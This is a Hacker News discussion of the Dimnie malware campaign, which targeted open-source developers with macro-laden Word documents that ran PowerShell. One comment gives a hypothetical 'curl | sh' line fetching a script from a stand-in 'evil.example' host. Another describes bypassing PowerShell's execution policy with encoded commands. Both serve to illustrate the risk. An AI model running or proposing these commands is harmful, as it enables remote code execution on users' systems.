Dimnie: Malware targeting open-source developers

https://arstechnica.co.uk/security/2017/03/someone-is-putting-lots-of-work-into-hacking-github-developers/

by justinclift • 9 years ago

71 36 9 years ago

arstechnica.co.uk

dang3• 9 years ago

Url changed from https://arstechnica.co.uk/security/2017/03/someone-is-puttin..., which points to this. There was a small discussion at https://news.ycombinator.com/item?id=13992005 but perhaps changing the url to the original article will stimulate a more substantive one.

Submitters: please submit original sources, as the site guidelines ask (https://news.ycombinator.com/newsguidelines.html). Myriads of blog posts and articles mostly just point to something else; be a good HN submitter and do the pointer traversal for the rest of us.

justinclift2• 9 years ago

Oops, sorry. Thanks. :)

I submitted the Ars one instead of the original source, as the Ars one is much more approachable than the original source, and I didn't see the previous submission. Which is weird, as I searched first. Bad me. :/

That being said, the PAN post definitely has the better detail once a person grok's what it's about. :)

dang3• 9 years ago

Actually you and skrebbel make a good point about the other article being more approachable. That has value too, so I've reversed the URL change.

skrebbel• 9 years ago

In all honesty, Ars does a real value-add in this case. I'm an open source developer on Windows so this feels relevant, but the original article forces me to read through a very long, highly technical article full of HTTP logs and hex dumps just to find out how this could impact me. About halfway through I gave up and then I was happy I found your comment with the Ars link.

dang3• 9 years ago

That's a good point. I've changed the URL back from http://researchcenter.paloaltonetworks.com/2017/03/unit42-di....

miohtama• 9 years ago

Not sure if Windows PowerShell scripts are the best way to target open source developers, as these power users are usually on Linux/OSX

justinclift2• 9 years ago

That's true, but it's not unreasonable to foresee the creators making OSX/Linux versions too if these Windows ones "go ok" from their point of view. :(

What's worrying to me is the wording of the emails themselves. It's much better, and more likely appearing "legit" than the vast multitude of scam/trojan/similar .pdf/.xls/.doc/.lnk/etc emails I've seen. (several a day generally)

pjmlp4• 9 years ago

With the now current curl | sh pattern, one just needs some MTM attack, or even just trick someone to do it, as the majority never look to the contents of the shell script.

tonyedgecombe• 9 years ago

I've been worrying about this for some time, I regularly get customers sending screenshots inside Word documents, a well targeted email could easily get past my defences.

pjmlp4• 9 years ago

Also by default the security level doesn't allow for its execution, but I imagine most change it to run everything instead of only signed scripts.

kingosticks• 9 years ago

What's the purpose of all those localhost ping lines in the delete script?

h4waii• 9 years ago

The author likely is used to Windows scripting before sleep was a thing.

The pings are used as a delay, without pausing the entire process or thread.

matt4077• 9 years ago

I wonder if they'll accept pull requests?

Godel_unicode• 9 years ago

More likely the author knows that sleep is a common thing for malware scanners to look for, and choose a sneakier method to achieve the same goal.

nthcolumn2• 9 years ago

Old hackers never die they just dust off their anna kournikova floppies...

jszymborski2• 9 years ago

Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack.

If I was some evil-doer though I'd develop some marketing heavy Javascript/Rust/language-of-the-week framework, hit HN frontpage and have the call-to-action copy be:

Install in picoseconds!
curl -sf http://evil.example/evil_install.sh | sh

edit: corrected hypothetical attack

tyingq• 9 years ago

pedantic, but that wouldn't actually do much ;)

jszymborski2• 9 years ago

lool oops, thanks. Fixed it up :)

detaro• 9 years ago

should at least have https, that makes it much more secure or something

TTPrograms• 9 years ago

Wait, you can still get viruses from opening word documents? What is this, 1998?

Good to know that Microsoft is focusing on the important things.[0]

[0] https://en.wikipedia.org/wiki/Tay_(bot)

Animats• 9 years ago

... starts with e-mails that attach a booby-trapped Microsoft Word document. The file contains a malicious macro that uses PowerShell commands.

It's good to know that the traditional vulnerabilities of Microsoft Word documents have been updated to use the new PowerShell.

pjmlp4• 9 years ago

Except that Powershell doesn't run scripts unless you explicitly disable it as Administrator.

SCHiM• 9 years ago

This is not a security feature, and should not be relied upon. For example, unelevated users can run the following command: 'PS> Set-ExecutionPolicy Bypass -Scope Process' to allow script execution in the current powershell process.

Also, you can pass complete powershell scripts over the command line which bypasses the script restriction (because you can just input your entire script over the command line).

This is done with the -E (-EncodedCommand) flag. Which takes a base64 encoded string with statements separated by semi-colons.

davidgerard• 9 years ago

The takeaway appears to be: don't develop on a Windows box.

What happens if you open the claimed Word doc in LibreOffice?

codedokode• 9 years ago

They could just put malware into one of popular node.js modules. Nobody would notice because Linux/Mac users don't use antivirus.

giancarlostoro• 9 years ago

Someone might notice a random blob or just during code review. Someone has to approve a pull request.

auspex2• 9 years ago

This is why most companies have a build step in their CI/CD pipeline that scans for CVE/malware in their app's dependencies (jar, npm packages, Ruby gems etc)

srd• 9 years ago

While the concept sounds sound, so far I've never actually seen this setup in the real world. Do you happen to have any resources on how to properly setup such a step in a CI tool?

Dimnie: Malware targeting open-source developers

Related Stories